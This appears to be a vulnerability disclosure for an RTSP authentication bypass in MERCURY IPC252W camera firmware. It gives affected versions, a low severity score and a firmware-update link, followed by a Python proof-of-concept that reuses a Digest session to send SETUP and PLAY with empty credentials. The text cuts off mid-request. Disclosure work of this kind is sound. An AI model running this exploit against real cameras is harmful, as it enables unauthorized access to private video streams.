# CVE-2024-XXXX: MERCURY IPC252W RTSP Authentication Bypass Vulnerability ## Vulnerability Overview The firmware of the MERCURY IPC252W network camera contains an RTSP service authentication bypass vulnerability. After an attacker completes the Digest authentication for the initial DESCRIBE request, the device accepts and executes control commands even if the `response` parameter in subsequent requests (SETUP, PLAY, TEARDOWN) is empty or invalid. **Core Issue**: The device only verifies Digest authentication during the initial DESCRIBE request. It fails to re-verify the `response` parameter in subsequent requests, allowing attackers to reuse session parameters to send unauthorized control instructions. ## Affected Scope - **Vendor**: MERCURY - **Affected Product**: IPC252W - **Firmware Version**: 1.0.5 Build 230306 Rel.79931n - **Severity**: CVSS v3.1 Base Score 2.3 (Low) - **Attack Conditions**: Requires network access; no additional credentials needed ## Remediation - **Firmware Download Link**: https://service.mercurycom.com.cn/download-2777.html - **Recommendation**: Upgrade to the patched version to ensure that all RTSP requests verify Digest authentication parameters. ## POC Code ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import time import hashlib CAMERA_IP = "TARGET_IP" # replace with target device IP RTSP_PORT = 554 RTSP_URI = f"rtsp://{CAMERA_IP}:{RTSP_PORT}/stream1" USERNAME = "admin" REALM = "MERCURY IP-Camera" # Precomputed HA1 value (device/user specific, used only for PoC) HA1 = hashlib.md5(f"{USERNAME}:{REALM}:{YOUR_PASSWORD}".encode()).hexdigest() #Calculations must be perHost def calculate_response(nonce, method, uri): #Calculate RTSP Digest authentication response ha2 = hashlib.md5(f"{method}:{uri}".encode()).hexdigest() return hashlib.md5(f"{HA1}:{nonce}:{ha2}".encode()).hexdigest() # Create RTSP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((CAMERA_IP, RTSP_PORT)) # 1. OPTIONS options_req = ( f"OPTIONS {RTSP_URI} RTSP/1.0\r\n" f"CSeq: 1\r\n" f"User-Agent: LIBVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n\r\n" ) sock.send(options_req.encode()) time.sleep(1) options_res = sock.recv(4096).decode(errors="ignore") print("OPTIONS Response:\n", options_res) # 2. DESCRIBE (unauthenticated) describe1_req = ( f"DESCRIBE {RTSP_URI} RTSP/1.0\r\n" f"CSeq: 2\r\n" f"User-Agent: LIBVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n" f"Accept: application/sdp\r\n\r\n" ) sock.send(describe1_req.encode()) time.sleep(1) describe_res = sock.recv(4096).decode(errors="ignore") print("DESCRIBE_1 Response:\n", describe_res) # Extract nonce nonce = None for line in describe_res.split("\r\n"): if "nonce=" in line: nonce = line.split("nonce=")[1].split('"')[0] break if not nonce: print("[!] Failed to get nonce from response") exit(1) response = calculate_response(nonce, "DESCRIBE", RTSP_URI) # 3. DESCRIBE (authenticated) describe2_req = ( f"DESCRIBE {RTSP_URI} RTSP/1.0\r\n" f"CSeq: 3\r\n" f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"{response}\"\r\n" f"Accept: application/sdp\r\n\r\n" ) sock.send(describe2_req.encode()) time.sleep(1) describe_res = sock.recv(4096).decode(errors="ignore") print("DESCRIBE_2 Response:\n", describe_res) # 4. SETUP track1 (normal) setup1_req = ( f"SETUP {RTSP_URI}/track1 RTSP/1.0\r\n" f"CSeq: 4\r\n" f"User-Agent: LIBVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n" f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"{response}\"\r\n" f"Transport: RTP/AVP/TCP;unicast;interleaved=0-1\r\n\r\n" ) sock.send(setup1_req.encode()) time.sleep(1) setup_res = sock.recv(4096).decode(errors="ignore") print("SETUP_1 Response:\n", setup_res) # Extract Session ID session_id = None for line in setup_res.split("\r\n"): if line.startswith("Session:"): session_id = line.split(":")[1].split(";")[0].strip() break if not session_id: print("[!] Failed to get session ID") sock.close() exit(1) # 5. SETUP track2 setup2_req = ( f"SETUP {RTSP_URI}/track2 RTSP/1.0\r\n" f"CSeq: 5\r\n" f"User-Agent: LIBVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n" f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"\"\r\n" # response set to empty, no longer authenticating f"Transport: RTP/AVP/TCP;unicast;interleaved=2-3\r\n" f"Session: {session_id}\r\n\r\n" ) sock.send(setup2_req.encode()) time.sleep(1) setup_res = sock.recv(4096).decode(errors="ignore") print("SETUP_2 Response:\n", setup_res) # 6. PLAY play_req = ( f"PLAY {RTSP_URI} RTSP/1.0\r\n" f"CSeq: 6\r\n" f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"\"\r\n" # response set to empty, no longer authenticating f"User-Agent: LIBVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n" f"Session: {session_id}\r\n" f"